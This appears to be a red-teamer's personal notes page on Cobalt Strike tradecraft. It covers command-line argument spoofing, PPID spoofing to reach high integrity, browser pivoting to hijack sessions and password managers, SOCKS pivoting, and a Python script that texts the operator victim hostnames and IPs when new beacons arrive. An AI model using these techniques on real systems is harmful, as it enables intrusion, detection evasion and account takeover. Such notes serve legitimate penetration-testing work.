> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/command-and-control/cobaltstrike.md).

# CobaltStrike

<https://github.com/rvrsh3ll/FindFrontableDomains>

can remove RWX function in beacon in mal profile

clear = clear beacon queue

#### Argue:

Argue take two commands, make the second look like the first:&#x20;

```
argue whoami /totally /legit
argue powershell -command "get-adcomputer -Filter {...} .....
argue 
```

#### Spawnu/ runu:

run under a different desktop session

#### PID/PPID spoofing:&#x20;

can be used to bypass / migrate to high integrity - i.e. svchost.exe&#x20;

don't use for different desktop sessions&#x20;

```bash
# move to process 
spawnu x86 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
ppid MSEDGE
```

#### browser proxying:&#x20;

Use browser pivot to take sessions from running browsers - jump onto password manager etc

#### proxy pivoting:&#x20;

socks PORT&#x20;

```
socks PORT 
# go to view > proxy pivot 
copy into msfconsole or proxychains 
```

make sure beacon is interactive&#x20;

Malleabale profiles:

use c2lint to check&#x20;

### Text/telegram notifications:&#x20;

can enable telegram notifications by using beacon\_initial to send. need aggressor, sleep and python

```python
#!/usr/bin/env python

import argparse
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText

parser = argparse.ArgumentParser(description='beacon info')
parser.add_argument('--computer')
parser.add_argument('--ip')
args = parser.parse_args()

fromaddr = "<gmaile-mailaccounthere>"
toaddr = ["7777777777@txt.att.net", "8888888888@vtext.com"]
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = ", ".join(toaddr)
msg['Subject'] = "INCOMING BEACON"

hostname = args.computer
internal_ip = args.ip

body = "Check your teamserver! \nHostname - " + hostname + "\nInternal IP - " + internal_ip
msg.attach(MIMEText(body, 'plain'))

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "<gmailpasswordhere>")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
```

{% embed url="<https://github.com/ChrisTruncer/PenTestScripts/tree/master/CobaltScripts>" %}